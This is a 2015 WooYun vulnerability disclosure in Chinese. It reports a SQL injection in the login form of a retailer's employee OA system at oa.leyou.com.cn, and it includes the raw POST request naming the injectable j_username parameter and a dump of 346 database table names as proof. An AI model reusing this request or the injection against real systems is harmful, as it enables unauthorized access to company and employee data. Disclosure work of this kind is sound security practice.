漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0123524
漏洞标题：乐友商城某处SQL注入漏洞，可登录员工任意oa
相关厂商：乐友(中国)超市连锁有限公司
漏洞作者： 路人甲
提交时间：2015-06-29 18:43
修复时间：2015-08-14 14:54
公开时间：2015-08-14 14:54
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-06-29： 细节已通知厂商并且等待厂商处理中
2015-06-30： 厂商已经确认，细节仅向厂商公开
2015-07-10： 细节向核心白帽子及相关领域专家公开
2015-07-20： 细节向普通白帽子公开
2015-07-30： 细节向实习白帽子公开
2015-08-14： 细节向公众公开
简要描述：
乐友商城某处SQL注入漏洞，可登录员工任意oa
详细说明：
SQL注入漏洞
POST /j_acegi_security_check HTTP/1.1
Content-Length: 201
Content-Type: application/x-www-form-urlencoded
Referer: http://oa.leyou.com.cn:80/
Cookie: JSESSIONID=CC2AFBD270D232CEB969DE35049133DA; akwaqpfm=1
Host: oa.leyou.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
dynamicpass=fffPa%24%24w0rD&encData=&ip=211.211.117.222&isdx=1&isIP=0&isusb=1&j_password=grrdPa%24%24w0rD&j_username=1&needauthcode=0&rememberme=0&rndData=158267140418507&sendpass=0&uname=dgssklia
注入参数 j_username
漏洞证明：
Database: LEYOUOA
[346 tables]
+------------------------------+
| MODULE |
| FAVLIST |
| FORMBASE |
| FORMFIELD |
| FORMINFO |
| FORMLAYOUTFIELD |
| FORMLINK |
| GROUPFIELD |
| GROUPFIELDDETAIL |
| HOLIDAYSINFO |
| HOMEPAGES |
| HRMMESSAGERACCOUNT |
| HRMMESSAGERCONTACT |
| HRMMESSAGERGROUP |
| HRMMESSAGERGROUPUSERS |
| HRMMESSAGERMSG |
| HRMMESSAGERTEMPMSG |
| IMGINFO |
| INDAGATECONTENT |
| INDAGATEFORMSET |
| INDAGATEOPTION |
| INDAGATEREMARK |
| INTERFACECONFIGDETAIL |
| INTERFACELOG |
| INTERFACEMETA |
| INTERFACEOBJLINK |
| IPSET |
| JOBREMIND |
| JREMINDER |
| KEYINFO |
| KEYWORDS |
| LABEL |
| LABELCUSTOM |
| LABELDICTORY |
| LICS |
| LIGHT_BOOKMARK |
| LIGHT_NOTE |
| LIGHT_NOTE_REF |
| LIGHT_PORTAL |
| LIGHT_PORTAL_TAB |
| LIGHT_PORTLET_CONFIG |
| LIGHT_PORTLET_PREFERENCES |
| LIGHT_PORTLET_REF |
| LIGHT_PORTLET_STYLE |
| LIGHT_ROLE |
| LIGHT_TODO |
| LIGHT_USER |
| LIGHT_USER_ROLE |
| LOGINUPPASS |
| MENU |
| MENUORG |
| MESSAGEURL |
| NCSYNCLOG |
| NODEINFOFREE |
| NODEREMIND |
| NOTIFY |
| NOTIFYDEFINE |
| NOTIFYRECEIVERLINK |
| ORGUNIT |
| ORGUNITLINK |
| ORGUNITTYPE |
| OTHEROPTIONVALUE |
| OUTTERSYS |
| OUTTERSYSDETAIL |
| OUTTER_PARAMS |
| PAGEMENU |
| PASSEXPIRYDATE |
| PERMISSIONBATCHACTION |
| PERMISSIONBATCHACTIONDETAIL |
| PERMISSIONBATCHACTIONGROUP |
| PERSONALSET |
| PERSONALSIGNATURE |
| PHOTO |
| PORTALORG |
| REFOBJLINK |
| RELATIONSET |
| REPEATPATTERN |
| REPORTFIELD |
| REPORTSEARCHFIELD |
| REQUESTBASE |
| REQUESTFLOWPATH |
| REQUESTINFO |
| REQUESTOPERATORMARK |
| REQUESTOPERATORS |
| REQUESTOPTRULE |
| REQUESTSTATUS |
| REQUESTSTEP |
| SCHEDULESET |
| SEARCHCUSTOMIZE |
| SEARCHCUSTOMIZEOPTION |
| SELECTITEM |
| SELECTITEMTYPE |
| SENDEMAIL |
| SENDMSG |
| SEQUENCE |
| SEQUENCELINK |
| SETITEM |
| SETITEMTYPE |
| SHORTCUT |
| SHORTCUT_CUSTOMDATA |
| SKIN |
| SMSHISTORY |
| SMSTMP |
| SQLUPGRADE |
| STAMPINFO |
| STATIONLEVELLINK |
| STATIONLINK |
| SUBPROCESSSETCONDITIONDETAIL |
| SUBPROCESSSETDETAIL |
| SURVEYATTRIBUTE |
| SURVEYCONFIG |
| SURVEYRECORD |
| SYCLOG |
| SYNCLOG |
| SYSGROUP |
| SYSGROUPHUMRES |
| SYSPERMRESLINK |
| SYSPERMS |
| SYSRESOURCE |
| SYSROLE |
| SYSROLEPERMLINK |
| SYSUSER |
| SYSUSERROLELINK |
| TASKCONDITION |
| TASKLOG |
| TASKMODEL |
| TIMESTAMPS |
| TODOITEMS |
| TREEVIEWERINFO |
| UF_ADMIN_MEETINGROOM |
| UF_ASKALEAVE |
| UF_ASSETCLASS |
| UF_ASSETINFO |
| UF_AWARDORPUNISHMONEY |
| UF_AWARDORPUNISHSCORE |
| UF_BDHTF |
| UF_BDHTFP |
| UF_BDHTSP |
| UF_BDHTYF |
| UF_BGYPLY |
| UF_BGYPLYWPXX |
| UF_BJBDNERPSQ |
| UF_BUDGET |
| UF_BUDGETITEM |
| UF_BUDGETUNFREEZE |
| UF_BUDGETUSED |
| UF_BUSINESSTRIP |
| UF_BZYFK |
| UF_BZYFKMX |
| UF_CLBXD |
| UF_CLBXDBXMXXX |
| UF_CLEARTICKET |
| UF_CLYDSQD |
| UF_CLYDSQDMXB |
| UF_CONTRACTEXTENSION |
| UF_COSTDEPARTMENT |
| UF_CURRENCYEXCHANGERATE |
| UF_CUSTOMITEM |
| UF_CXHTBBSPD |
| UF_CXSJSQD |
| UF_DATAIMPORT |
| UF_DIMISSION |
| UF_DMORDER |
| UF_DPLXJCSQBZJXX |
| UF_DPLXJCSQD |
| UF_DPLXJCSQHTGDZJFPLX |
| UF_DPLXJCSQYFXX |
| UF_DPLXJCSQYFXXX |
| UF_DPLXJCSQZCXX |
| UF_DPLXJCSQZXXXA |
| UF_DXSPDXB |
| UF_DXSPDZB |
| UF_DZYHPCK |
| UF_DZYHPCKWPXX |
| UF_DZYHPRK |
| UF_DZYHPRKWPXX |
| UF_EAMILREMIND |
| UF_EJFLCXJLDYB |
| UF_EJFLCXJLDYKP |
| UF_EJPLDJMBGD |
| UF_EMPLOYAPPLY |
| UF_ERPDOPROCESS |
| UF_ERPLCBD |
| UF_EXTRAWORK |
| UF_FFJJXDHSJSPD |
| UF_FFYDDMDJCSDLXGSPD |
| UF_FFYDDXGXDRQSPD |
| UF_FGDZCKP |
| UF_FGSFHTGZSQGZKP |
| UF_FGSFHTSPJGZSYSQSQD |
| UF_FGSTYCGFGDZC |
| UF_FGSTYCGFGDZCWPXX |
| UF_FKJH |
| UF_FKJHMX |
| UF_FLBMXZJXGD |
| UF_FOREIGNLETTERS |
| UF_FYBX |
| UF_FYBXFP |
| UF_FYBXMX |
| UF_FYCQTX |
| UF_FYFTD |
| UF_FYFTDTXMX |
| UF_FYQC |
| UF_FYQCMX |
| UF_GCJSFYSQ |
| UF_GCJSFYSQDPMMX |
| UF_GCXMPM |
| UF_GDFYBXD |
| UF_GDFYBXDBXMX |
| UF_GDZCBF |
| UF_GDZCBFWPXX |
| UF_GDZCCG |
| UF_GDZCCGSQD |
| UF_GDZCCGSQDCGWPXX |
| UF_GDZCCGWPXX |
| UF_GDZCDB |
| UF_GDZCDBSQD |
| UF_GDZCDBSQDDBWPXX |
| UF_GDZCDBWPXX |
| UF_GDZCKPJRK |
| UF_GDZCQLSQD |
| UF_GDZCRKYSD |
| UF_GDZCRKYSDGDZCXX |
| UF_GIFTDELAY |
| UF_GIVEOFFER |
| UF_GRFYBXD |
| UF_GRFYBXDMXXX |
| UF_HBDDCXBHSPD |
| UF_HDSPZPSQD |
| UF_HKHTSP |
| UF_INVENTORYPLAN |
| UF_JTFHTGZSQFZFLKP |
| UF_JTFHTSPJGZSYSQSQD |
| UF_LOSSPREVENTIONPUNISH |
| UF_MDGCWXSQD |
| UF_MEETINGROOM |
| UF_MEETINGROOMUSER |
| UF_MEETING_LIST |
| UF_MEETRECORD |
| UF_MESSAGE_LOG |
| UF_MLJYFSCJT |
| UF_MLJYFSCJT_SUB |
| UF_MLJYFSCSKUHSQD |
| UF_MLJYFSCSYSQD |
| UF_MONTHPERFORMANCE |
| UF_MPZZSQD |
| UF_OEMALLOT |
| UF_OEMRETURN |
| UF_OFFSHELVES |
| UF_ORDER |
| UF_ORDER_FREIGHT |
| UF_ORDER_PRODUCT |
| UF_PERFORMANCECASE |
| UF_PERFORMANCETARGET |
| UF_POGDKDYDSQD |
| UF_PROJECTONLINE |
| UF_PTHTSPD |
| UF_PTHTSPDTXMX |
| UF_PTHTSPDYSFYMX |
| UF_PUBLISHPRICE |
| UF_REWARD |
| UF_SALARYADJUST |
| UF_SALAYCASE |
| UF_SHELVES |
| UF_SHOPINFOMODIFY |
| UF_SKD |
| UF_SKDMX |
| UF_SRLHTSPDZB |
| UF_SRLHTSPDZKMX |
| UF_SRLHTSPSKMX |
| UF_STAFFADJUSTMENT |
| UF_STARTUPAPPLY |
| UF_SUBJECTITEM |
| UF_SYSFUNCTIONNEED |
| UF_TASK_ALLOT |
| UF_TCZXQLSPD |
| UF_TRANSACTION |
| UF_TRANSFORMFORMAL |
| UF_TXD |
| UF_TXDMX |
| UF_TYKJXYPMMX |
| UF_TYKJXYZB |
| UF_TYTXD |
| UF_TYTXJHD |
| UF_TYTXJHDTXJH |
| UF_USERTIMEFORMEETING |
| UF_WAGEPAYMENT |
| UF_WAGEPAYMENTCHILD |
| UF_WCKDBDGBSQD |
| UF_WLDBPCSDJXGSPD |
| UF_WLJJRCZSJJHSPD |
| UF_WLKCTZSPD |
| UF_WLLY |
| UF_WLPDJHSQD |
| UF_WLSQ |
| UF_WLSQMX |
| UF_WZJDTSCXTBD |
| UF_WZXXFBSPD |
| UF_WZYXTGHDSPD |
| UF_XHKCSWSPD |
| UF_XHKCSWSPDXB |
| UF_XHKCSWSPDXBPO |
| UF_YCSQDXB |
| UF_YCSQDZB |
| UF_YDDBSQSPD |
| UF_YSJD |
| UF_YSJDMX |
| UF_YSSP |
| UF_YWZDFSQD |
| UF_YWZDFYSQDZDMX |
| UF_ZBBJSQDCYDW |
| UF_ZBBJSQDPMMX |
| UF_ZBSQD |
| UF_ZLHTFKJHSPD |
| UF_ZLHTFKJHXDKP |
| UF_ZLHTHKD |
| UF_ZLHTHKDMXB |
| UF_ZLHTLXDZ |
| UF_ZLHTLXDZB |
| UF_ZLHTLXQTXX |
| UF_ZLHTLXTXJH |
| UF_ZLHTLXZJFKJH |
| UF_ZLHTSPFDBL |
| UF_ZLHTSPHJZZ |
| UF_ZLHTSPQTXX |
| UF_ZLHTSPZB |
| UF_ZLHTTXD |
| UF_ZLHTYFKD |
| UF_ZSZKSQDZB |
| UF_ZSZKSQMXBD |
| UF_ZZHTSPD |
| UF_ZZJYHTSPD |
| USERKEY |
| VERSIONACTIVEPOLICY |
| VERSIONINFO |
| WARNCONFIG |
| WEBMENU |
| WEBMENUREF |
| WEBSKIN |
| WORKFLOWACCREDIT |
| WORKFLOWDOCTYPE |
| WORKFLOWNODESTYLE |
| WORKFLOWUSECOUNT |
| WORKFLOWVERSION |
| WORKFLOWVERSIONLOG |
| XSHT_DJ
修复方案：
过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2015-06-30 14:53
厂商回复：
谢谢提报。我们尽快修复
最新状态：
暂无